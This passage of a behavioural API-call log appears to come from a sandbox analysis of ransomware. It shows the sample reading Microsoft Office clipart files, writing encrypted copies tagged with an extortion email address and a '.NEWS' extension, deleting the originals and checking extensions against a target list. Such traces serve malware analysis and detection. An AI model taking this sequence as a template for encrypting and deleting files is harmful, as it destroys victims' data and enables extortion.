returned 0x35c [0232.376] GetLastError () returned 0x0 [0232.376] ReadFile (in: hFile=0x3ac, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0232.387] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0232.392] ReadFile (in: hFile=0x3ac, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.392] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.392] SetEndOfFile (hFile=0x35c) returned 1 [0232.393] CloseHandle (hObject=0x35c) returned 1 [0232.394] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.394] SetEndOfFile (hFile=0x3ac) returned 1 [0232.805] CloseHandle (hObject=0x3ac) returned 1 [0232.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.868] lstrlenW (lpString=".doc") returned 4 [0232.868] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.868] lstrlenW (lpString=".docx") returned 5 [0232.868] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.868] lstrlenW (lpString=".pdf") returned 4 [0232.869] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.869] lstrlenW (lpString=".xls") returned 4 [0232.869] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.869] lstrlenW (lpString=".xlsx") returned 5 [0232.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.869] lstrlenW (lpString=".ppt") returned 4 [0232.869] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.869] lstrlenW (lpString=".zip") returned 4 [0232.870] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.870] lstrlenW (lpString=".rar") returned 4 [0232.870] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.871] lstrlenW (lpString=".bz2") returned 4 [0232.871] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.871] lstrlenW (lpString=".7z") returned 3 [0232.871] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.871] lstrlenW (lpString=".dbf") returned 4 [0232.871] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.871] lstrlenW (lpString=".1cd") returned 4 [0232.871] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.871] lstrlenW (lpString=".jpg") returned 4 [0232.871] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.872] lstrlenW (lpString=".doc") returned 4 [0232.872] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.872] lstrlenW (lpString=".docx") returned 5 [0232.872] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.872] lstrlenW (lpString=".pdf") returned 4 [0232.872] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.872] lstrlenW (lpString=".xls") returned 4 [0232.872] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.873] lstrlenW (lpString=".xlsx") returned 5 [0232.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.873] lstrlenW (lpString=".ppt") returned 4 [0232.873] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.873] lstrlenW (lpString=".zip") returned 4 [0232.873] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.873] lstrlenW (lpString=".rar") returned 4 [0232.873] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.873] lstrlenW (lpString=".bz2") returned 4 [0232.873] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.873] lstrlenW (lpString=".7z") returned 3 [0232.874] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.874] lstrlenW (lpString=".dbf") returned 4 [0232.874] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.874] lstrlenW (lpString=".1cd") returned 4 [0232.874] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0232.874] lstrlenW (lpString=".jpg") returned 4 [0232.874] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.875] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0232.875] lstrlenW (lpString="AG00176_.GIF") returned 12 [0232.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0232.876] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3120) returned 1 [0232.876] CloseHandle (hObject=0x370) returned 1 [0232.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0232.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0232.877] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.877] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0232.878] GetLastError () returned 0x0 [0232.878] ReadFile (in: hFile=0x370, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0xc30, lpOverlapped=0x0) returned 1 [0232.918] WriteFile (in: hFile=0x338, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xc40, lpOverlapped=0x0) returned 1 [0232.921] ReadFile (in: hFile=0x370, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.921] WriteFile (in: hFile=0x338, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.921] SetEndOfFile (hFile=0x338) returned 1 [0232.922] CloseHandle (hObject=0x338) returned 1 [0232.922] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.922] SetEndOfFile (hFile=0x370) returned 1 [0233.121] CloseHandle (hObject=0x370) returned 1 [0233.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0233.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.126] lstrlenW (lpString=".doc") returned 4 [0233.126] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.126] lstrlenW (lpString=".docx") returned 5 [0233.126] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.126] lstrlenW (lpString=".pdf") returned 4 [0233.126] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.126] lstrlenW (lpString=".xls") returned 4 [0233.126] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.127] lstrlenW (lpString=".xlsx") returned 5 [0233.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.127] lstrlenW (lpString=".ppt") returned 4 [0233.127] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.127] lstrlenW (lpString=".zip") returned 4 [0233.127] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.127] lstrlenW (lpString=".rar") returned 4 [0233.127] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.127] lstrlenW (lpString=".bz2") returned 4 [0233.127] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.128] lstrlenW (lpString=".7z") returned 3 [0233.128] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.128] lstrlenW (lpString=".dbf") returned 4 [0233.128] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.128] lstrlenW (lpString=".1cd") returned 4 [0233.128] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.128] lstrlenW (lpString=".jpg") returned 4 [0233.128] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.129] lstrlenW (lpString=".doc") returned 4 [0233.129] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.129] lstrlenW (lpString=".docx") returned 5 [0233.129] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.129] lstrlenW (lpString=".pdf") returned 4 [0233.129] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.129] lstrlenW (lpString=".xls") returned 4 [0233.129] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.129] lstrlenW (lpString=".xlsx") returned 5 [0233.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.130] lstrlenW (lpString=".ppt") returned 4 [0233.130] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.130] lstrlenW (lpString=".zip") returned 4 [0233.130] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.130] lstrlenW (lpString=".rar") returned 4 [0233.130] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.130] lstrlenW (lpString=".bz2") returned 4 [0233.130] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.130] lstrlenW (lpString=".7z") returned 3 [0233.130] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.130] lstrlenW (lpString=".dbf") returned 4 [0233.131] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.131] lstrlenW (lpString=".1cd") returned 4 [0233.131] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0233.131] lstrlenW (lpString=".jpg") returned 4 [0233.131] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.132] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.132] lstrlenW (lpString="AN00790_.WMF") returned 12 [0233.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0233.721] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5684) returned 1 [0233.721] CloseHandle (hObject=0x388) returned 1 [0233.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0233.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0233.722] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.723] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0233.723] GetLastError () returned 0x0 [0233.724] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1634, lpOverlapped=0x0) returned 1 [0233.729] WriteFile (in: hFile=0x3a0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1640, lpOverlapped=0x0) returned 1 [0233.732] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.732] WriteFile (in: hFile=0x3a0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.732] SetEndOfFile (hFile=0x3a0) returned 1 [0233.733] CloseHandle (hObject=0x3a0) returned 1 [0233.733] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.734] SetEndOfFile (hFile=0x388) returned 1 [0233.752] CloseHandle (hObject=0x388) returned 1 [0233.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0233.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.755] lstrlenW (lpString=".doc") returned 4 [0233.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.755] lstrlenW (lpString=".docx") returned 5 [0233.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.755] lstrlenW (lpString=".pdf") returned 4 [0233.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.755] lstrlenW (lpString=".xls") returned 4 [0233.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.755] lstrlenW (lpString=".xlsx") returned 5 [0233.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.755] lstrlenW (lpString=".ppt") returned 4 [0233.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.755] lstrlenW (lpString=".zip") returned 4 [0233.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.756] lstrlenW (lpString=".rar") returned 4 [0233.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.756] lstrlenW (lpString=".bz2") returned 4 [0233.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.756] lstrlenW (lpString=".7z") returned 3 [0233.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.756] lstrlenW (lpString=".dbf") returned 4 [0233.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.756] lstrlenW (lpString=".1cd") returned 4 [0233.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.757] lstrlenW (lpString=".jpg") returned 4 [0233.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.757] lstrlenW (lpString=".doc") returned 4 [0233.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.757] lstrlenW (lpString=".docx") returned 5 [0233.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.757] lstrlenW (lpString=".pdf") returned 4 [0233.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString=".xls") returned 4 [0233.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.758] lstrlenW (lpString=".xlsx") returned 5 [0233.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.758] lstrlenW (lpString=".ppt") returned 4 [0233.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.758] lstrlenW (lpString=".zip") returned 4 [0233.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.859] lstrlenW (lpString=".rar") returned 4 [0233.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.860] lstrlenW (lpString=".bz2") returned 4 [0233.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.860] lstrlenW (lpString=".7z") returned 3 [0233.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.860] lstrlenW (lpString=".dbf") returned 4 [0233.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.860] lstrlenW (lpString=".1cd") returned 4 [0233.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0233.861] lstrlenW (lpString=".jpg") returned 4 [0233.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.861] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.861] lstrlenW (lpString="AN01060_.WMF") returned 12 [0233.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0234.809] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7968) returned 1 [0234.809] CloseHandle (hObject=0x398) returned 1 [0234.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0236.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0236.115] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.115] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0236.116] GetLastError () returned 0x0 [0236.116] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1f20, lpOverlapped=0x0) returned 1 [0236.132] WriteFile (in: hFile=0x370, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0236.135] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, 